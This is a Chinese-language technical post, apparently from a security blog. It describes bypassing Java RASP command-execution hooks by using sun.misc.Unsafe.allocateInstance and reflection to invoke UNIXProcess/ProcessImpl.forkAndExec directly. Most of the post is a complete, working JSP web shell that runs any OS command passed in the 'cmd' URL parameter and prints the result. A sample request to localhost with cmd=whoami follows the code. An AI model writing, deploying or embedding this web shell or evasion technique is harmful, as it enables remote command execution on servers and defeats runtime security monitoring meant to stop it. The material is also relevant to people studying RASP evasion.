0x01 前言
这个姿势最开始还是在博客园看到的,但是不知道为啥子现在文章404了,好在当时把文中的代码备份下来了
在RASP里其实是Hook掉了一些Runtime、ProcessBuilder 等类
Runtime.exec调用的是ProcessBuilder.start
ProcessBuilder.start的底层会调用ProcessImpl类
那么这时候如果去Hook掉UNIXProcess/ProcessImpl是不是就无法进行执行命令了?
答应是不一定的
还可以通过使用sun.misc.Unsafe.allocateInstance的特性可以在无需new或者newInstance创建UNIXProcess/ProcessImpl类对象
这样子来绕过RASP
0x02 例子-通过allocateInstance类+反射绕过RASP
# 在 webapp目录下面新建立一个文件: forkAndExecLinuxTest.jsp# 文件名: forkAndExecLinuxTest.jsp<%@ page import="java.io.InputStream" %><%@ page import="java.lang.reflect.Field" %><%@ page import="sun.misc.Unsafe" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.IOException" %><%@ page import="java.io.ByteArrayOutputStream" %><%String[] str = request.getParameterValues("cmd");if (str != null) {InputStream in = exec(str);String result = inputStreamToString(in, "UTF-8");out.println(result);}%><%!public InputStream exec(String[] strs) throws Exception {String UNIXProcessClass = "java.lang.UNIXProcess";String ProcessImplClass = "java.lang.ProcessImpl";Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");theUnsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) theUnsafeField.get(null);// 反射创建UNIXProcess或者ProcessImplClass processClass = null;try {processClass = Class.forName(UNIXProcessClass);} catch (ClassNotFoundException e) {processClass = Class.forName(ProcessImplClass);}Object processObject = unsafe.allocateInstance(processClass);byte[][] args = new byte[strs.length - 1][];int size = args.length;for (int i = 0; i < args.length; i++) {args[i] = strs[i + 1].getBytes();size += args[i].length;}byte[] argBlock = new byte[size];int i = 0;for (byte[] arg : args) {System.arraycopy(arg, 0, argBlock, i, arg.length);i += arg.length + 1;}int[] envc = new int[1];int[] std_fds = new int[]{-1, -1, -1};Field launchMechanismField = processClass.getDeclaredField("launchMechanism");Field helperpathField = processClass.getDeclaredField("helperpath");launchMechanismField.setAccessible(true);helperpathField.setAccessible(true);Object launchMechanismObject = launchMechanismField.get(processObject);byte[] helperpathObject = (byte[]) helperpathField.get(processObject);int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{int.class, byte[].class, byte[].class, byte[].class, int.class,byte[].class, int.class, byte[].class, int[].class, boolean.class});forkMethod.setAccessible(true);int pid = (int) forkMethod.invoke(processObject, new Object[]{ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,null, envc[0], null, std_fds, false});// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);initStreamsMethod.setAccessible(true);initStreamsMethod.invoke(processObject, std_fds);// 获取本地执行结果的输入流Method getInputStreamMethod = processClass.getMethod("getInputStream");getInputStreamMethod.setAccessible(true);InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);return in;}%><%!private byte[] toCString(String s) {if (s == null) {return null;}byte[] bytes = s.getBytes();byte[] result = new byte[bytes.length + 1];System.arraycopy(bytes, 0, result, 0, bytes.length);result[result.length - 1] = (byte) 0;return result;}private String inputStreamToString(InputStream in, String charset) throws IOException {try {if (charset == null) {charset = "UTF-8";}ByteArrayOutputStream out = new ByteArrayOutputStream();int a = 0;byte[] b = new byte[1024];while ((a = in.read(b)) != -1) {out.write(b, 0, a);}return new String(out.toByteArray());} catch (IOException e) {throw e;} finally {if (in != null)in.close();}}%>
访问url:http://127.0.0.1:8081/mavenJspTest_war/forkAndExecTest.jsp?cmd=whoami
命令执行效果如下: 
